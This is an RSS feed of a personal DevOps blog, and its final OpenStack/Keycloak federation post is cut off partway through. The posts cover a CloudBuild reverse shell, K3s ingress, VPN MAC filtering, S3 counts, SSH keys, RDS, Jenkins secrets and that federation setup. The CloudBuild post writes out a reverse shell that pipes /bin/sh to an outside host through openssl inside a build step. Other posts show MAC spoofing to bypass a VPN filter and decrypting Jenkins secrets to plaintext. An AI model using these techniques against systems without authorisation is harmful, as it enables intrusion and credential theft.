<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Nux's Blog]]></title><description><![CDATA[Nux's Blog]]></description><link>https://bonestealer.xyz</link><generator>RSS for Node</generator><lastBuildDate>Fri, 10 Apr 2026 09:06:11 GMT</lastBuildDate><atom:link href="https://bonestealer.xyz/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Debug GCP CloudBuild via Reverse Shell]]></title><description><![CDATA[Motivation
When attempting to debug an issue, it can be challenging to reproduce the problem on the machine used in the CI/CD process, especially if it is different from the local development environment. Because there is no direct access to the runn...]]></description><link>https://bonestealer.xyz/debug-gcp-cloudbuild-via-reverse-shell</link><guid isPermaLink="true">https://bonestealer.xyz/debug-gcp-cloudbuild-via-reverse-shell</guid><category><![CDATA[Devops]]></category><category><![CDATA[GCP]]></category><category><![CDATA[Cloud]]></category><category><![CDATA[reverse-shell]]></category><category><![CDATA[SRE]]></category><category><![CDATA[ci-cd]]></category><dc:creator><![CDATA[Muhammad Ardivan Satrio Nugroho]]></dc:creator><pubDate>Tue, 24 Jun 2025 06:51:54 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-motivation"><strong>Motivation</strong></h2>
<p>When attempting to debug an issue, it can be challenging to reproduce the problem on the machine used in the CI/CD process, especially if it is different from the local development environment. Because there is no direct access to the runner machine in cloudbuild, there is alternative way by applying the reverse-shell method that allows gaining access to the CI/CD environment.</p>
<p><em><mark>Note: Establishing a reverse shell should only be done for the purpose of debugging and testing and not to be misused.</mark></em></p>
<ol>
<li><h3 id="heading-on-client-vm-server-that-can-be-accessed-from-public">On client (vm / server that can be accessed from public)</h3>
</li>
</ol>
<pre><code class="lang-bash">$ sudo apt-get install rlwrap <span class="hljs-comment"># readline wrapper for nice tty</span>
$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
$ rlwrap openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
</code></pre>
<ol start="2">
<li><h3 id="heading-on-target-cloudbuild-runner-machine">On target / cloudbuild runner machine</h3>
<p> In <code>cloudbuild.yaml</code></p>
</li>
</ol>
<pre><code class="lang-yaml"><span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">Reverse</span> <span class="hljs-string">shell</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">ubuntu</span>
  <span class="hljs-attr">entrypoint:</span> <span class="hljs-string">bash</span>
  <span class="hljs-attr">args:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">"-c"</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">|-
      apt-get update
      apt-get install python3 openssl -y
      mkfifo /tmp/s; /bin/sh -i &lt; /tmp/s 2&gt;&amp;1 | openssl s_client -connect &lt;CLIENT_IP&gt;:4444 &gt; /tmp/s; rm /tmp/s</span>
</code></pre>
<ol start="3">
<li><h3 id="heading-back-to-the-vm-server">Back to the VM / Server</h3>
</li>
</ol>
<pre><code class="lang-bash"><span class="hljs-comment">### Wait after the connection has been established, then upgrade the shell to fully interactive tty</span>
$ python3 -c <span class="hljs-string">"import pty; pty.spawn('/bin/bash')"</span>
root@49662e972571:/workspace<span class="hljs-comment"># dmidecode -s system-product-name | grep "Google Compute Engine"</span>
Google Compute Engine
</code></pre>
<p>Original content: <a target="_blank" href="https://gist.github.com/muhammad-asn/867f6224fe60edba627945326fad8ecb">https://gist.github.com/muhammad-asn/867f6224fe60edba627945326fad8ecb</a></p>
]]></content:encoded></item><item><title><![CDATA[Install NGINX Ingress on K3S]]></title><description><![CDATA[1. Install K3S
To install K3S, execute the following command with an explanation for INSTALL_K3S_EXEC:

--disable traefik, servicelb: Remove traefik and servicelb

--tls-san: Add additional hostnames or IPv4/IPv6 addresses as Subject Alternative Name...]]></description><link>https://bonestealer.xyz/install-nginx-ingress-on-k3s</link><guid isPermaLink="true">https://bonestealer.xyz/install-nginx-ingress-on-k3s</guid><category><![CDATA[Kubernetes]]></category><category><![CDATA[k3s]]></category><category><![CDATA[nginx ingress]]></category><dc:creator><![CDATA[Muhammad Ardivan Satrio Nugroho]]></dc:creator><pubDate>Wed, 03 Jan 2024 23:44:18 GMT</pubDate><content:encoded><![CDATA[<h3 id="heading-1-install-k3s">1. Install K3S</h3>
<p>To install K3S, execute the following command with an explanation for <code>INSTALL_K3S_EXEC</code>:</p>
<ul>
<li><p><code>--disable traefik, servicelb</code>: Remove traefik and servicelb</p>
</li>
<li><p><code>--tls-san</code>: Add additional hostnames or IPv4/IPv6 addresses as Subject Alternative Names on the TLS cert, so the controller plane can connect using IP of the server</p>
</li>
</ul>
<pre><code class="lang-bash">sudo curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC=<span class="hljs-string">"--disable traefik,servicelb --tls-san <span class="hljs-variable">$IP_SERVER</span>"</span> K3S_KUBECONFIG_MODE=<span class="hljs-string">"644"</span> sh -
</code></pre>
<h3 id="heading-2-install-nginx-ingress-controller">2. Install NGINX Ingress Controller</h3>
<p>There are several ways to install but we use helm for simplicity.</p>
<p>We will use <code>nginx-ingress-release</code> as the name of the Chart and installing it on <code>nginx-ingress</code> namespace. Since we installed it on a Virtual Private Server (VPS), we're changing the service type to <code>NodePort</code>. This is necessary because the default setting uses <code>LoadBalancer</code> type, which may not be suitable for our VPS environment. Additionally, set the <code>hostNetwork</code> to true so that we can access it via a domain.</p>
<pre><code class="lang-bash">$ kubectl create namespace nginx-ingress
namespace/nginx-ingress created

$ helm install nginx-ingress-release oci://ghcr.io/nginxinc/charts/nginx-ingress --version 1.1.0 --namespace nginx-ingress --<span class="hljs-built_in">set</span> controller.service.type=NodePort --<span class="hljs-built_in">set</span> controller.kind=daemonset --<span class="hljs-built_in">set</span> controller.hostNetwork=<span class="hljs-literal">true</span>
Pulled: ghcr.io/nginxinc/charts/nginx-ingress:1.1.0
Digest: sha256:47eddf60256ad1b0f98596f41d767d9d4cd6ec81f54a284391a4763261c78d3b
NAME: nginx-ingress-release
LAST DEPLOYED: Wed Jan  3 17:20:47 2024
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None
NOTES:
The NGINX Ingress Controller has been installed.
</code></pre>
<h3 id="heading-3-verify-the-installation"><strong>3. Verify the installation</strong></h3>
<pre><code class="lang-bash">$ kubectl get daemonset,pods -n nginx-ingress
NAME                                              DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
daemonset.apps/nginx-ingress-release-controller   2         2         2       2            2           &lt;none&gt;          34m

NAME                                         READY   STATUS    RESTARTS   AGE
pod/nginx-ingress-release-controller-7szw5   1/1     Running   0          34m
pod/nginx-ingress-release-controller-csl79   1/1     Running   0          34m
</code></pre>
<h3 id="heading-4-install-simple-application"><strong>4. Install simple application</strong></h3>
<p>In this example, we will install simple Apache deployment.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">apache-deployment</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">1</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">apache</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">metadata:</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">app:</span> <span class="hljs-string">apache</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">containers:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">apache-container</span>
        <span class="hljs-attr">image:</span> <span class="hljs-string">httpd:latest</span>
        <span class="hljs-attr">ports:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">80</span>

<span class="hljs-meta">---</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Service</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">apache-service</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">app:</span> <span class="hljs-string">apache</span>
  <span class="hljs-attr">ports:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">protocol:</span> <span class="hljs-string">TCP</span>
      <span class="hljs-attr">port:</span> <span class="hljs-number">80</span>
      <span class="hljs-attr">targetPort:</span> <span class="hljs-number">80</span>
</code></pre>
<h3 id="heading-5-expose-the-application-using-ingress"><strong>5. Expose the application using Ingress</strong></h3>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Ingress</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">apache-ingress</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">app</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">rules:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">host:</span> <span class="hljs-string">apache.example.id</span>  <span class="hljs-comment"># Replace with your actual domain</span>
    <span class="hljs-attr">http:</span>
      <span class="hljs-attr">paths:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">path:</span> <span class="hljs-string">/</span>
        <span class="hljs-attr">pathType:</span> <span class="hljs-string">Prefix</span>
        <span class="hljs-attr">backend:</span>
          <span class="hljs-attr">service:</span>
            <span class="hljs-attr">name:</span> <span class="hljs-string">apache-service</span>
            <span class="hljs-attr">port:</span>
              <span class="hljs-attr">number:</span> <span class="hljs-number">80</span>
</code></pre>
<h3 id="heading-6-access-the-application"><strong>6. Access the application</strong></h3>
<p>To access the application, go to <a target="_blank" href="http://apache.example.id">apache.example.id</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1704323792198/c43eb3a2-191c-4015-9c06-507ea4c01c7b.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Don't use MAC Address for VPN filtering]]></title><description><![CDATA[A little background story. I forgot to bring my laptop that have been registered to connect to the office network (through VPN). But, there's flaws in it, they used MAC address to register the person who wants to use the network, so I just need to bo...]]></description><link>https://bonestealer.xyz/dont-use-mac-address-for-vpn-filtering</link><guid isPermaLink="true">https://bonestealer.xyz/dont-use-mac-address-for-vpn-filtering</guid><category><![CDATA[hacking]]></category><category><![CDATA[Linux]]></category><category><![CDATA[MAC address ]]></category><category><![CDATA[vpn]]></category><dc:creator><![CDATA[Muhammad Ardivan Satrio Nugroho]]></dc:creator><pubDate>Sun, 04 Sep 2022 06:26:07 GMT</pubDate><content:encoded><![CDATA[<p>A little background story. I forgot to bring my laptop that have been registered to connect to the office network (through VPN). But, there's flaws in it, they used MAC address to register the person who wants to use the network, so I just need to borrow my friends laptop and change it to my MAC address.</p>
<p>Here's how I do it.</p>
<h3 id="heading-1-get-your-mac-address">1. Get your MAC address</h3>
<pre><code class="lang-bash">$ ifconfig
en0: flags=8863&lt;UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST&gt; mtu 1500
    options=400&lt;CHANNEL_IO&gt;
    ether XX:XX:XX:XX:XX:XX  &lt;-- here
    inet 192.168.100.10 netmask 0xffffff00 broadcast 192.168.100.255
    nd6 options=201&lt;PERFORMNUD,DAD&gt;
    media: autoselect
    status: active
</code></pre>
<h3 id="heading-2-turn-down-the-interface-of-your-pclaptop">2. Turn down the interface of your PC/Laptop</h3>
<p>Example of the interface name: <strong>wlp4s0
</strong></p>
<pre><code class="lang-bash">sudo ip link <span class="hljs-built_in">set</span> dev &lt;interface&gt; down
</code></pre>
<h3 id="heading-3-change-the-mac-address">3. Change the MAC Address</h3>
<p><strong><em>XX:XX:XX:XX:XX:XX</em></strong> --&gt; is your MAC Address that you want to use.</p>
<pre><code class="lang-bash">sudo ip link <span class="hljs-built_in">set</span> dev wlp4s0 address XX:XX:XX:XX:XX:XX
</code></pre>
<h3 id="heading-4-turn-up-the-interface-again-with-the-new-mac-address">4. Turn up the interface again, with the new MAC Address</h3>
<pre><code class="lang-bash">sudo ip link <span class="hljs-built_in">set</span> dev wlp4s0 up
</code></pre>
<p><em>
Boom you can connect to the network !!!</em></p>
]]></content:encoded></item><item><title><![CDATA[Count total objects in S3 bucket]]></title><description><![CDATA[There are several ways to count the objects in S3 bucket. But, there is deficiency regarding the API calls which has its own price. 
So here are some ways that I usually do to count the objects.
1. By using aws cli
  I know this is the programmatical...]]></description><link>https://bonestealer.xyz/count-total-objects-in-s3-bucket</link><guid isPermaLink="true">https://bonestealer.xyz/count-total-objects-in-s3-bucket</guid><category><![CDATA[AWS]]></category><category><![CDATA[Amazon S3]]></category><dc:creator><![CDATA[Muhammad Ardivan Satrio Nugroho]]></dc:creator><pubDate>Tue, 30 Aug 2022 07:19:59 GMT</pubDate><content:encoded><![CDATA[<p>There are several ways to count the objects in S3 bucket. But, there is deficiency regarding the API calls which has its <a target="_blank" href="https://aws.amazon.com/s3/pricing/">own price</a>. 
So here are some ways that I usually do to count the objects.</p>
<h3 id="heading-1-by-using-aws-cli">1. By using <code>aws</code> cli</h3>
<p>  I know this is the programmatically way to get the total objects, but beware for the <code>GET</code> api calls pricing, if there's <strong>too much files</strong> it will cost you<strong> a lot of money</strong>.</p>
<pre><code class="lang-bash">  aws s3 ls s3://&lt;bucket_name&gt;/ --recursive | wc -l
</code></pre>
<h3 id="heading-2-by-using-web-console">2. By using web console</h3>
<p>Go to <code>buckets</code> &gt; <code>bucket-name</code> &gt; <code>Metrics</code>.</p>
<p>You will see some metrics like <code>total bucket size</code>, <code>total number of objects</code>, and more.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661843880640/IfhTPoWdz.png" alt="Screen Shot 2022-08-30 at 14.15.50.png" /></p>
]]></content:encoded></item><item><title><![CDATA[Setup SSH  Passwordless Login]]></title><description><![CDATA[1. Create ssh-keygen keys
$ ssh-keygen -t rsa

2. Copy the ssh key using ssh-copy-id command
$ ssh-copy-id user@192.168.10.10

3. If there's a prompt password, you need to enter the password
$ ssh-copy-id user@192.168.10.10
$ user@192.168.10.10's pas...]]></description><link>https://bonestealer.xyz/setup-ssh-passwordless-login</link><guid isPermaLink="true">https://bonestealer.xyz/setup-ssh-passwordless-login</guid><category><![CDATA[Linux]]></category><dc:creator><![CDATA[Muhammad Ardivan Satrio Nugroho]]></dc:creator><pubDate>Wed, 24 Aug 2022 16:53:57 GMT</pubDate><content:encoded><![CDATA[<h3 id="heading-1-create-ssh-keygen-keys">1. Create ssh-keygen keys</h3>
<pre><code class="lang-bash">$ ssh-keygen -t rsa
</code></pre>
<h3 id="heading-2-copy-the-ssh-key-using-ssh-copy-id-command">2. Copy the ssh key using <code>ssh-copy-id</code> command</h3>
<pre><code class="lang-bash">$ ssh-copy-id user@192.168.10.10
</code></pre>
<h3 id="heading-3-if-theres-a-prompt-password-you-need-to-enter-the-password">3. If there's a prompt password, you need to enter the password</h3>
<pre><code class="lang-bash">$ ssh-copy-id user@192.168.10.10
$ user@192.168.10.10<span class="hljs-string">'s password:</span>
</code></pre>
<h3 id="heading-4-logged-in">4. Logged in.</h3>
<pre><code class="lang-bash">user@192.168.10.10:~$
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Connect RDS (PostgreSQL) from Docker container]]></title><description><![CDATA[Step 1: Run the postgres docker container
$ docker run -it --rm --network=host postgres:11.16 bash
root@a018fe70d745:/# apt update && apt install telnet -y

Step 2: Check if postgres is connected by using telnet command
For example the endpoint of th...]]></description><link>https://bonestealer.xyz/connect-rds-postgresql-from-docker-container</link><guid isPermaLink="true">https://bonestealer.xyz/connect-rds-postgresql-from-docker-container</guid><category><![CDATA[PostgreSQL]]></category><category><![CDATA[Docker]]></category><category><![CDATA[AWS RDS]]></category><dc:creator><![CDATA[Muhammad Ardivan Satrio Nugroho]]></dc:creator><pubDate>Tue, 09 Aug 2022 13:54:18 GMT</pubDate><content:encoded><![CDATA[<h3 id="heading-step-1-run-the-postgres-docker-container">Step 1: Run the postgres docker container</h3>
<pre><code class="lang-bash">$ docker run -it --rm --network=host postgres:11.16 bash
root@a018fe70d745:/<span class="hljs-comment"># apt update &amp;&amp; apt install telnet -y</span>
</code></pre>
<h3 id="heading-step-2-check-if-postgres-is-connected-by-using-telnet-command">Step 2: Check if postgres is connected by using telnet command</h3>
<p>For example the endpoint of the RDS: <code>rds-database.abcdefghi.us-east-1.rds.amazonaws.com</code></p>
<pre><code class="lang-bash">root@a018fe70d745:/<span class="hljs-comment"># telnet rds-database.abcdefghi.us-east-1.rds.amazonaws.com 5432</span>
Connected to rds-database.abcdefghi.us-east-1.rds.amazonaws.com.
Escape character is <span class="hljs-string">'^]'</span>.
^]
</code></pre>
<h3 id="heading-step-3-connect-using-the-psql-command">Step 3: Connect using the psql command</h3>
<p>The command: <code>psql -h rds-database.abcdefghi.us-east-1.rds.amazonaws.com -p 5432 -U &lt;username&gt; -d &lt;dbname&gt; -W</code></p>
<pre><code class="lang-bash">root@a018fe70d745:/<span class="hljs-comment"># psql -h rds-database.abcdefghi.us-east-1.rds.amazonaws.com -p 5432 -U test -d db_test -W</span>
Password: 
psql (11.16 (Debian 11.16-1.pgdg90+1))
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type <span class="hljs-string">"help"</span> <span class="hljs-keyword">for</span> <span class="hljs-built_in">help</span>.

db_test=&gt;
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Broken Jenkins Credentials]]></title><description><![CDATA[Intro
Hello everyone, after a long time I decided to continue this blog in my spare time so please forgive me if there are rarely updates 😃.
Then straight to the point, there's problem when I tried to migrate the old Jenkins cluster to the new one. ...]]></description><link>https://bonestealer.xyz/broken-jenkins-credentials</link><guid isPermaLink="true">https://bonestealer.xyz/broken-jenkins-credentials</guid><category><![CDATA[Jenkins]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Credentials]]></category><dc:creator><![CDATA[Muhammad Ardivan Satrio Nugroho]]></dc:creator><pubDate>Sat, 12 Feb 2022 00:00:00 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-intro">Intro</h2>
<p>Hello everyone, after a long time I decided to continue this blog in my spare time so please forgive me if there are rarely updates 😃.
Then straight to the point, there's problem when I tried to migrate the old Jenkins cluster to the new one. It happened to all the Jenkins job, so I just do debugging like it should and found there's error in the SCM credentials with red error marks.</p>
<p><em>--- brew the coffee and continue debugging ---</em></p>
<p>After a while, I found there's an issue on the credentials <code>Secret</code>, so my attempt is to replace the broken Credentials with the right Credentials and here's what I did.</p>
<h3 id="heading-decrypt-jenkins-credentials">Decrypt Jenkins Credentials</h3>
<ul>
<li>Open the <code>Script Console</code> page or access the endpoint <code>https://example-jenkins.com/script</code>, and run this script.</li>
</ul>
<pre><code>decryptedPassword=<span class="hljs-string">"{XXX=}"</span> <span class="hljs-comment"># the {XXX=} is the value of the decrypted password, you can get it from inspect element</span>
println(hudson.util.Secret.fromString(decryptedPassword).getPlainText())
</code></pre><ul>
<li>Replace the old broken Secret with the new one with the results in the steps above.</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Federation and Identity Brokering on OpenStack using OpenID and Keycloak + FreeIPA]]></title><description><![CDATA[Prerequisites

FreeIPA and OpenStack is already configured. OpenStack is configured using Kolla Ansible.
Keycloak is already configured and federated with FreeIPA (directory service).
In this example the current IP and port that has been usedKeycloak...]]></description><link>https://bonestealer.xyz/federation-and-identity-brokering-on-openstack-using-openid-and-keycloak-freeipa</link><guid isPermaLink="true">https://bonestealer.xyz/federation-and-identity-brokering-on-openstack-using-openid-and-keycloak-freeipa</guid><category><![CDATA[Cloud]]></category><category><![CDATA[openstack]]></category><category><![CDATA[freeipa]]></category><category><![CDATA[identity-management]]></category><category><![CDATA[idp]]></category><dc:creator><![CDATA[Muhammad Ardivan Satrio Nugroho]]></dc:creator><pubDate>Tue, 22 Jun 2021 00:00:00 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-prerequisites">Prerequisites</h2>
<ol>
<li>FreeIPA and OpenStack is already configured. OpenStack is configured using <a target="_blank" href="https://docs.openstack.org/kolla-ansible/latest/">Kolla Ansible</a>.</li>
<li>Keycloak is already configured and federated with FreeIPA (directory service).</li>
<li>In this example the current IP and port that has been used<pre><code class="lang-bash">Keycloak: http://10.20.20.14:8081
OpenStack: http://10.20.20.100:5000
</code></pre>
</li>
</ol>
<h2 id="heading-setup-openid-configuration-on-keycloak">Setup OpenID configuration on Keycloak</h2>
<p><b>This operation is performed on the Keycloak Dashboard.</b></p>
<ol>
<li><p>Go to the <b>realm</b> that previously created, for example "freeipa-realm", select <code>Configure &gt; Clients &gt; Create</code>, then fill the following section</p>
<pre><code class="lang-bash"> Client ID: openstack-client 
 Client Protocol: openid-connect
</code></pre>
</li>
<li><p>Adjust the authentication flow using OpenID.</p>
<pre><code class="lang-bash"> Client ID: openstack-client 
 Client Protocol: openid-connect
 Access Type: Confidential <span class="hljs-comment"># define the username/password mechanism</span>
 Standard Flow Enabled: On
 Implicit Flow Enabled: On
 Direct Access Grants Enabled: On

 Valid Redirect URIs *: https://10.20.20.100:5000/v3/OS-FEDERATION/identity_providers/openidtest/protocols/openid/auth 
 Backchannel Logout Session Required: On
</code></pre>
<p> <em>Note: The valid redirect URIs must match the endpoint on OpenStack Keystone</em></p>
</li>
<li><p>On <code>Clients &gt; Credentials</code> tab, you will see the Client ID and Secret.</p>
<pre><code class="lang-bash"> Client Authenticator: Client ID
 Secret: XXXXXXXXXXXXX
</code></pre>
</li>
</ol>
<h2 id="heading-configure-openid-on-keystone-and-horizon">Configure OpenID on Keystone and Horizon</h2>
<p><b>This operation is performed on the OpenStack host.</b></p>
<ol>
<li><p>Create directories for Keystone and Horizon services. This directory is used to put the configured files. </p>
<pre><code class="lang-bash"> $ sudo mkdir /etc/kolla/config/horizon
 $ sudo mkdir /etc/kolla/config/keystone
</code></pre>
</li>
<li><p>Create the file and change the owner.</p>
<pre><code class="lang-bash"> $ sudo touch /etc/kolla/config/horizon/local_settings
 $ sudo touch /etc/kolla/config/keystone/keystone.conf
 $ sudo touch /etc/kolla/config/keystone/wsgi-keystone.conf

 $ sudo chown -R <span class="hljs-variable">$USER</span>:<span class="hljs-variable">$USER</span> /etc/kolla/config/horizon/
 $ sudo chown -R <span class="hljs-variable">$USER</span>:<span class="hljs-variable">$USER</span> /etc/kolla/config/keystone/
</code></pre>
</li>
</ol>
<h3 id="heading-configure-federating-resource-on-keystone-service">Configure federating resource on Keystone service</h3>
<ol>
<li><p>Create identity provider object on Keystone</p>
<p> Remote id value is an issuer on OpenID. To see the issuer you can obtained from the OpenID configuration.
 By accessing the Keycloak <code>.well-known/openid-configuration</code> endpoint.</p>
<p> For example: <br />
 <code>http://10.20.20.14:8081/auth/realms/freeipa-realm/.well-known/openid-configuration</code></p>
<p> Then, create the object by running the command below</p>
<pre><code class="lang-bash"> $ openstack identity provider <span class="hljs-built_in">set</span> --remote-id http://10.20.20.14:8081/auth/realms/freeipa-realm openidtest
</code></pre>
</li>
<li><p>Create a mapping rules for remote user attribute. The file created is in the form of json with the name rules.json. </p>
<pre><code class="lang-bash"> $ cat &gt; rules.json &lt;&lt;EOF
 [
     {
         <span class="hljs-string">"local"</span>: [
             {
                 <span class="hljs-string">"user"</span>: {
                     <span class="hljs-string">"name"</span>: <span class="hljs-string">"{0}"</span>
                 },
                 <span class="hljs-string">"group"</span>: {
                     <span class="hljs-string">"domain"</span>: {
                         <span class="hljs-string">"name"</span>: <span class="hljs-string">"Default"</span>
                     },
                     <span class="hljs-string">"name"</span>: <span class="hljs-string">"federated_users"</span>
                 }
             }
         ],
         <span class="hljs-string">"remote"</span>: [
             {
                 <span class="hljs-string">"type"</span>: <span class="hljs-string">"HTTP_OIDC_ISS"</span>
             }
         ]
     }
 ]
 EOF

 $ openstack mapping create --rules rules.json openidtest_mapping
</code></pre>
</li>
<li><p>Create a group for the role assignment on Keystone</p>
<pre><code class="lang-bash"> $ openstack group create federated_users
</code></pre>
</li>
<li><p>Create a project on Keystone</p>
<pre><code class="lang-bash"> $ openstack project create federated_project
</code></pre>
</li>
<li><p>Define the roles for group members</p>
<pre><code class="lang-bash"> $ openstack role add --group federated_users --project federated_project member
</code></pre>
</li>
<li><p>Create a federation protocol for the identity provider based on the mapping rules that has been created. </p>
<pre><code class="lang-bash"> $ openstack federation protocol create openid --mapping openidtest_mapping --identity-provider openidtest
</code></pre>
<p> <em>Note: make sure the federation protocol name matches the specified valid keystone authentication rules, such as openid and saml2.</em></p>
</li>
</ol>
<p><a target="_blank" href="https://docs.openstack.org/keystone/latest/admin/federation/configure_federation.html#sp-prerequisites">https://docs.openstack.org/keystone/latest/admin/federation/configure_federation.html#sp-prerequisites</a></p>
<h3 id="heading-configure-apache-authentication-module-to-openid-connect">Configure Apache Authentication Module to OpenID-Connect</h3>
<ol>
<li><p>Create a protected endpoint</p>
<pre><code class="lang-conf">
 # Keystone
 &lt;Location /v3/OS-FEDERATION/identity_providers/&lt;IDENTITYPROVIDER&gt;/protocols/&lt;PROTOCOL&gt;/auth&gt;
 Require valid-user
 AuthType [...]
 ...
 &lt;/Location&gt;

 # Horizon (SSO)
 &lt;Location /v3/auth/OS-FEDERATION/websso/&lt;PROTOCOL&gt;&gt;
 Require valid-user
 AuthType [...]
 ...
 &lt;/Location&gt;

 &lt;Location /v3/auth/OS-FEDERATION/identity_providers/&lt;IDENTITYPROVIDER&gt;/protocols/&lt;PROTOCOL&gt;/websso&gt;
 Require valid-user
 AuthType [...]
 ...
 &lt;/Location&gt;
</code></pre>
</li>
<li><p>Configure the authentication module</p>
<p> This configuration is for Apache web server on virtualhost keystone, set to OIDC option.</p>
<pre><code class="lang-conf"> OIDCClaimPrefix "OIDC-"
 OIDCResponseType "id_token"
 OIDCScope "openid email profile"
 OIDCProviderMetadataURL https://&lt;URL_IDENTITY_PROVIDER&gt;/.well-known/openid-configuration
 OIDCClientID &lt;openid_client_id&gt;
 OIDCClientSecret &lt;openid_client_secret&gt;
 OIDCCryptoPassphrase &lt;random string&gt; # random string
 OIDCRedirectURI https://&lt;URL_HORIZON&gt;/v3/OS-FEDERATION/identity_providers/&lt;IDENTITYPROVIDER&gt;/protocols/&lt;PROTOCOL&gt;/auth
</code></pre>
</li>
<li><p>Then add the configuration to <code>/etc/kolla/config/keystone/wsgi-keystone.conf</code>.</p>
<pre><code class="lang-conf"> &lt;VirtualHost *:5000&gt;
 ….
 ….

 ServerName https://10.20.20.100:5000
 OIDCClaimPrefix "OIDC-"
 OIDCResponseType "id_token"
 OIDCScope "openid email profile"
 OIDCProviderMetadataURL http://10.20.20.14:8081/auth/realms/freeipa-realm/.well-known/openid-configuration 
 OIDCClientID openstack-client # keycloak client id
 OIDCClientSecret xxxx-xxxx-xxxx-xxxx-xxxx # keycloak client secret
 OIDCCryptoPassphrase openstack
 OIDCRedirectURI https://10.20.20.100:5000/v3/OS-FEDERATION/identity_providers/openidtest/protocols/openid/auth 

 # Keystone
 &lt;Location /v3/OS-FEDERATION/identity_providers/openidtest/protocols/openid/auth&gt;
     Require valid-user
     AuthType openid-connect
     LogLevel debug
 &lt;/Location&gt;

 # Horizon
 &lt;Location /v3/auth/OS-FEDERATION/websso/openid&gt;
     Require valid-user
     AuthType openid-connect
 &lt;/Location&gt;

 &lt;Location /v3/auth/OS-FEDERATION/identity_providers/openidtest/protocols/openid/websso&gt;
     Require valid-user
     AuthType openid-connect
 &lt;/Location&gt;

 ...
 ...
 ...
 &lt;/VirtualHost&gt;
</code></pre>
<ul>
<li><b> OIDCProviderMetadataURL</b> is located in <code>freeipa-realm &gt; Configure &gt; Realm Settings</code>, then select Endpoints and click "Endpoints OpenID Endpoint Configuration". *</li>
</ul>
</li>
</ol>
<h3 id="heading-configure-keystone">Configure Keystone</h3>
<p>This configuration is performed on <code>/etc/kolla/config/keystone/keystone.conf</code>. </p>
<ol>
<li><p>Add the authentication method.</p>
<pre><code class="lang-ini"> <span class="hljs-section">[auth]</span>
 <span class="hljs-attr">methods</span> = password,token,saml2,openid
</code></pre>
</li>
<li><p>Configure the remote ID attribute.</p>
<pre><code class="lang-ini"> <span class="hljs-section">[openid]</span>
 <span class="hljs-attr">remote_id_attribute</span> = HTTP_OIDC_ISS

 <span class="hljs-section">[federation]</span>
 <span class="hljs-attr">remote_id_attribute</span> = HTTP_OIDC_ISS
</code></pre>
</li>
<li><p>Add the Trusted Dashboard (WebSSO). </p>
<pre><code class="lang-ini"> <span class="hljs-section">[federation]</span>
 <span class="hljs-attr">trusted_dashboard</span> = https://<span class="hljs-number">10.20</span>.<span class="hljs-number">20.100</span>/auth/websso/
 <span class="hljs-attr">sso_callback_template</span> = /etc/keystone/sso_callback_template.html
</code></pre>
</li>
</ol>
<h3 id="heading-configure-horizon">Configure Horizon</h3>
<p>The configuration is performed on <code>/etc/kolla/config/horizon/local_settings</code>. </p>
<ol>
<li><p>Enable the SSO</p>
<pre><code class="lang-python"> WEBSSO_ENABLED = <span class="hljs-literal">True</span>
</code></pre>
</li>
<li><p>Configure the provider for SSO </p>
<pre><code class="lang-python"> WEBSSO_CHOICES = (
     (<span class="hljs-string">"credentials"</span>, _(<span class="hljs-string">"Keystone Credentials"</span>)),
